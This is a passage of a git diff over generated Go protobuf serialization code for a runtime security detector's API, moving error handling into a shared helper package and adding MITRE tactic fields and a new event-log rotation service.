intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Techniques = append(m.Techniques, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil } func (m *InfoReq) UnmarshalVT(dAtA []byte) error { l := len(dAtA) @@ -493,7 +707,7 @@ func (m *InfoReq) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -516,12 +730,12 @@ func (m *InfoReq) UnmarshalVT(dAtA []byte) error { switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -544,7 +758,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -572,7 +786,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -586,11 +800,11 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -604,7 +818,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -618,11 +832,11 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -636,7 +850,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -650,11 +864,11 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -668,7 +882,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { m.Version = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -687,7 +901,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -701,11 +915,11 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -719,7 +933,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -733,11 +947,11 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -751,7 +965,7 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -765,25 +979,59 @@ func (m *InfoResp) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.License = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field TacticsCovered", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.TacticsCovered = append(m.TacticsCovered, &MitreTactic{}) + if err := m.TacticsCovered[len(m.TacticsCovered)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -806,7 +1054,7 @@ func (m *DetectReq) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -834,7 +1082,7 @@ func (m *DetectReq) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -847,11 +1095,11 @@ func (m *DetectReq) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -865,12 +1113,12 @@ func (m *DetectReq) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -893,7 +1141,7 @@ func (m *DetectResp) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -921,7 +1169,7 @@ func (m *DetectResp) UnmarshalVT(dAtA []byte) error { m.Severity = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -933,14 +1181,80 @@ func (m *DetectResp) UnmarshalVT(dAtA []byte) error { break } } + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Reason", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Reason = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field TacticsCovered", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.TacticsCovered = append(m.TacticsCovered, &MitreTactic{}) + if err := m.TacticsCovered[len(m.TacticsCovered)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -963,7 +1277,7 @@ func (m *TriggerCriteriaReq) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -986,12 +1300,12 @@ func (m *TriggerCriteriaReq) UnmarshalVT(dAtA []byte) error { switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -1014,7 +1328,7 @@ func (m *TriggerCriteriaResp_FuncNames) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1042,7 +1356,7 @@ func (m *TriggerCriteriaResp_FuncNames) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1056,11 +1370,11 @@ func (m *TriggerCriteriaResp_FuncNames) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1069,12 +1383,12 @@ func (m *TriggerCriteriaResp_FuncNames) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -1097,7 +1411,7 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1125,7 +1439,7 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1138,11 +1452,11 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1157,7 +1471,7 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1174,7 +1488,7 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1188,11 +1502,11 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -1203,7 +1517,7 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { var mapmsglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1216,11 +1530,11 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { } } if mapmsglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postmsgIndex := iNdEx + mapmsglen if postmsgIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postmsgIndex > l { return io.ErrUnexpectedEOF @@ -1232,12 +1546,12 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { iNdEx = postmsgIndex } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -1249,12 +1563,12 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -1269,88 +1583,3 @@ func (m *TriggerCriteriaResp) UnmarshalVT(dAtA []byte) error { } return nil } - -func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, io.ErrUnexpectedEOF -} - -var ( - ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") - ErrIntOverflow = fmt.Errorf("proto: integer overflow") - ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") -) diff --git a/event-processor/detector/api/tetragon/bpf.pb.go b/event-processor/detector/api/tetragon/bpf.pb.go index 59ec45c8..19e7bb89 100644 --- a/event-processor/detector/api/tetragon/bpf.pb.go +++ b/event-processor/detector/api/tetragon/bpf.pb.go @@ -4,7 +4,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/bpf.proto package tetragon diff --git a/event-processor/detector/api/tetragon/capabilities.pb.go b/event-processor/detector/api/tetragon/capabilities.pb.go index dc0bc2f4..7831127c 100644 --- a/event-processor/detector/api/tetragon/capabilities.pb.go +++ b/event-processor/detector/api/tetragon/capabilities.pb.go @@ -4,7 +4,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/capabilities.proto package tetragon diff --git a/event-processor/detector/api/tetragon/eventlogservice.pb.go b/event-processor/detector/api/tetragon/eventlogservice.pb.go new file mode 100644 index 00000000..43189ab5 --- /dev/null +++ b/event-processor/detector/api/tetragon/eventlogservice.pb.go @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: tetragon/eventlogservice.proto + +package tetragon + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type SetEventLogParamsRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + MaxSize *int32 `protobuf:"varint,1,opt,name=max_size,json=maxSize,proto3,oneof" json:"max_size,omitempty"` + RotationInterval *string `protobuf:"bytes,2,opt,name=rotation_interval,json=rotationInterval,proto3,oneof" json:"rotation_interval,omitempty"` + MaxBackups *int32 `protobuf:"varint,3,opt,name=max_backups,json=maxBackups,proto3,oneof" json:"max_backups,omitempty"` +} + +func (x *SetEventLogParamsRequest) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *SetEventLogParamsRequest) GetMaxSize() int32 { + if x != nil && x.MaxSize != nil { + return *x.MaxSize + } + return 0 +} + +func (x *SetEventLogParamsRequest) GetRotationInterval() string { + if x != nil && x.RotationInterval != nil { + return *x.RotationInterval + } + return "" +} + +func (x *SetEventLogParamsRequest) GetMaxBackups() int32 { + if x != nil && x.MaxBackups != nil { + return *x.MaxBackups + } + return 0 +} + +type SetEventLogParamsResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *SetEventLogParamsResponse) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +type GetEventLogParamsRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *GetEventLogParamsRequest) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +type GetEventLogParamsResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + MaxSize int32 `protobuf:"varint,1,opt,name=max_size,json=maxSize,proto3" json:"max_size,omitempty"` + RotationInterval string `protobuf:"bytes,2,opt,name=rotation_interval,json=rotationInterval,proto3" json:"rotation_interval,omitempty"` + MaxBackups int32 `protobuf:"varint,3,opt,name=max_backups,json=maxBackups,proto3" json:"max_backups,omitempty"` +} + +func (x *GetEventLogParamsResponse) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *GetEventLogParamsResponse) GetMaxSize() int32 { + if x != nil { + return x.MaxSize + } + return 0 +} + +func (x *GetEventLogParamsResponse) GetRotationInterval() string { + if x != nil { + return x.RotationInterval + } + return "" +} + +func (x *GetEventLogParamsResponse) GetMaxBackups() int32 { + if x != nil { + return x.MaxBackups + } + return 0 +} diff --git a/event-processor/detector/api/tetragon/eventlogservice.proto b/event-processor/detector/api/tetragon/eventlogservice.proto new file mode 100644 index 00000000..12b631ca --- /dev/null +++ b/event-processor/detector/api/tetragon/eventlogservice.proto @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +syntax = "proto3"; + +package tetragon; + +option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; + +service EventLogService { + rpc SetEventLogParams(SetEventLogParamsRequest) returns (SetEventLogParamsResponse) {} + rpc GetEventLogParams(GetEventLogParamsRequest) returns (GetEventLogParamsResponse) {} +} + +message SetEventLogParamsRequest { + optional int32 max_size = 1; + optional string rotation_interval = 2; + optional int32 max_backups = 3; +} + +message SetEventLogParamsResponse {} + +message GetEventLogParamsRequest {} + +message GetEventLogParamsResponse { + int32 max_size = 1; + string rotation_interval = 2; + int32 max_backups = 3; +} diff --git a/event-processor/detector/api/tetragon/eventlogservice_vtproto.pb.go b/event-processor/detector/api/tetragon/eventlogservice_vtproto.pb.go new file mode 100644 index 00000000..748d69ca --- /dev/null +++ b/event-processor/detector/api/tetragon/eventlogservice_vtproto.pb.go @@ -0,0 +1,598 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: tetragon/eventlogservice.proto + +package tetragon + +import ( + fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + io "io" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +func (m *SetEventLogParamsRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SetEventLogParamsRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SetEventLogParamsRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.MaxBackups != nil { + i = protohelpers.EncodeVarint(dAtA, i, uint64(*m.MaxBackups)) + i-- + dAtA[i] = 0x18 + } + if m.RotationInterval != nil { + i -= len(*m.RotationInterval) + copy(dAtA[i:], *m.RotationInterval) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(*m.RotationInterval))) + i-- + dAtA[i] = 0x12 + } + if m.MaxSize != nil { + i = protohelpers.EncodeVarint(dAtA, i, uint64(*m.MaxSize)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SetEventLogParamsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SetEventLogParamsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SetEventLogParamsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + return len(dAtA) - i, nil +} + +func (m *GetEventLogParamsRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetEventLogParamsRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetEventLogParamsRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + return len(dAtA) - i, nil +} + +func (m *GetEventLogParamsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetEventLogParamsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetEventLogParamsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.MaxBackups != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MaxBackups)) + i-- + dAtA[i] = 0x18 + } + if len(m.RotationInterval) > 0 { + i -= len(m.RotationInterval) + copy(dAtA[i:], m.RotationInterval) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.RotationInterval))) + i-- + dAtA[i] = 0x12 + } + if m.MaxSize != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MaxSize)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SetEventLogParamsRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.MaxSize != nil { + n += 1 + protohelpers.SizeOfVarint(uint64(*m.MaxSize)) + } + if m.RotationInterval != nil { + l = len(*m.RotationInterval) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.MaxBackups != nil { + n += 1 + protohelpers.SizeOfVarint(uint64(*m.MaxBackups)) + } + n += len(m.unknownFields) + return n +} + +func (m *SetEventLogParamsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + n += len(m.unknownFields) + return n +} + +func (m *GetEventLogParamsRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + n += len(m.unknownFields) + return n +} + +func (m *GetEventLogParamsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.MaxSize != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MaxSize)) + } + l = len(m.RotationInterval) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.MaxBackups != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MaxBackups)) + } + n += len(m.unknownFields) + return n +} + +func (m *SetEventLogParamsRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: 